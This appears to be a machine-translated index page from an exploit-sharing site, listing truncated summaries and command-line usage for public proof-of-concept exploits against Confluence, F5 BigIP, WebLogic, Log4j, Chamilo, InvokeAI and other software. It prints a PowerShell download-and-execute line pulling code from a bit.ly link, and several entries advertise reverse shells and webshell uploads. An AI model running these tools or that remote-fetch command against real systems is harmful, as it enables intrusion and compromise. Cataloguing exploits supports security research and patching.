react2shellexploitvisualized

Visualizzazione di React2Shell CVE-2025-55182 Una visualizzazione educativa interattiva che spiega la vulnerabilità React2Shell - una critica falla di esecuzione remota di codice con CVSS 10.0 nei React Server Components. Cos'è Un percorso guidato narrato in 5 fasi che spiega: 1. SSR tradizionale...

CVE-2022-26134_conFLU

CVE-2022-26134 - conFLU PoC per lo sfruttamento di CVE-2022-26134 su Atlassian Confluence Utilizzo dell'exploit root@kitploit: python3 conFLU.py -h Usage: conFLU.py -h -u URL -f F -cmd CMD optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F u...

CVE-2022-1388_refresh

CVE-2022-1388 - refresh PoC zur Ausnutzung von CVE-2022-1388 auf BigIP F5 Verwendung des Exploits root@kitploit: python3 refresh.py -h usage: refresh.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file ...

CVE-2019-2729_creal

CVE-2019-2729 - creal PoC per lo sfruttamento di CVE-2019-2729 su WebLogic Utilizzo dell'exploit root@kitploit: python3 creal.py -h usage: creal.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CM...

CVE-2023-47400

CVE-2023-47400 Proof of Concept PoC für CVE-2023-47400 Authentifizierte PHP-Remote-Codeausführung über beliebiges Dateischreiben auf Nagios XI 5.11.0 !Note Dieser PoC basiert auf dem technischen Advisory, das von der NCC Group veröffentlicht wurde...

CVE-2023-38408

Vulnerabilità OpenSSH - CVE-2023-38408 📚 Introduzione È stata trovata una vulnerabilità in OpenSSH prima della versione 9.3p2. La funzionalità PKCS11 in ssh-agent di OpenSSH ha un percorso di ricerca non sufficientemente affidabile, portando all'esecuzione di codice remoto se un agente viene...

CVE-2021-27850_POC

CVE-2021-27850 Exploit Panoramica CVE-2021-27850 è una vulnerabilità critica di esecuzione di codice in remoto non autenticata che è stata trovata in tutte le versioni recenti di Apache Tapestry; scaricando il file AppModule.class possiamo divulgare la chiave segreta HMAC utilizzata per firmare...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 Nur für x64 Windows iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2022-22965

Vulnerabilità Spring4Shell - CVE-2022-22965 📕 Introduzione La vulnerabilità spring4shell è stata chiamata così a causa di 2 vulnerabilità trovate e ampiamente sfruttate dagli attaccanti all'inizio del 2022. Una di queste vulnerabilità si trova nel componente del framework chiamato "Spring Cloud...

CVE-2021-44228

Vulnerabilità Log4j - CVE-2021-44228 📗 Introduzione Questa vulnerabilità è stata scoperta il 9 dicembre 2021, identificata con CVE-2021-44228 , questo difetto riguarda il pacchetto di log Java, generando un punteggio di gravità CVSS di 10 punti , fornendo l'esecuzione di accesso remoto all'host...

CVE-2020-14882

WebLogic RCE-Sicherheitslücke - CVE-2020-14882 Einführung CVE-2020-14882 ist eine Sicherheitslücke zur Remote-Codeausführung RCE in der Console-Komponente von Oracle WebLogic Server. Dieser Sicherheitslücke, die vor der Authentifizierung ausgenutzt werden kann, wurde eine geringe...

paint2die

Exploit mais simples e confiável para RichFaces Paint2DResource CVE-2018-12533 RF-14310 Instalação • Uso • Executando Paint2Die Instruções de Instalação root@kitploit: git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt Uso...

Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit Dies ist ein Exploit für uneingeschränkten Dateiupload in der Big-File-Upload-Funktionalität von Chamilo-LMS an diesem Pfad /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS = v1.11.24. Angreifer können durch das Hochladen einer Webshell...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE Alternativer Ansatz: Reverse Shell & Callback-Test Übersicht Dieses Repository enthält alternative Payload-Ansätze für die InvokeAI-RCE-Schwachstelle CVE-2024-12029, wenn die SSH-Schlüsselinjektion fehlschlägt. Die Payloads wurden...

CVE-2025-34040Exp

RCE durch Datei-Upload in 致远OA CVE-2025-34040 Parameter root@kitploit: options: -h, --help show this help message and exit -u URL, --url URL 请输入待检测的URL -f FILE, --file FILE 请输入一行一个URL的文件地址 -n FILENAME, --filename FILENAME 请输入文件名（默认为Hello.jsp）： -c CONTENT, --content CONTENT 请输入上传的文件内容（默认为HelloWord...

react2shell-evolved

React2Shell Scanner High Fidelity Detection for RSC/Next.js RCE Scanner per il rilevamento di vulnerabilità di Remote Code Execution RCE in applicazioni React Server Components e Next.js. Informazioni React2Shell Scanner è uno strumento specializzato per identificare vulnerabilità di esecuzione...

CVE-2021-41773_CVE-2021-42013

Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE Autore dell'exploit: Lucas Souza https://ls4ss.github.io/ Homepage del fornitore: https://apache.org/ Versione: 2.4.49, 2.4.50 Testato su: 2.4.49, 2.4.50 CVE : CVE-2021-41773, CVE-2021-42013 Crediti: Ash Daulton e il team di sicurezza di...

CVE-2024-28715

CVE-2024-28715 CVE-ID CVE-2024-28715 PRODUKT DoraCMS Version DoraCMS v2.18 und früher PROBLEMTYP DOM-basiertes XSS. BESCHREIBUNG Eine Cross-Site-Scripting-Sicherheitslücke in DOraCMS v.2.18 und früher ermöglicht es einem entfernten Angreifer, beliebigen Code über die markdown0-Funktion im Endpunk...

CVE-2023-36319

CVE-2023-36319 Ao modificar o comando do plug-in de compressão, o atacante pode fazer com que o servidor execute comandos arbitrários durante o processo de upload. Usado apenas para testes de segurança autorizados, por favor, não o utilize para fins ilegais. As violações não têm relação com o...

Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

Questo script sfrutta la vulnerabilità di injection EL di Nexus Repository Manager 3 CVE-2018-16621 e consente di eseguire l'exploit con un solo comando per ottenere una reverse shell. Esempio di esecuzione: Esegui lo script localmente sulla macchina dell'attaccante e, seguendo le istruzioni,...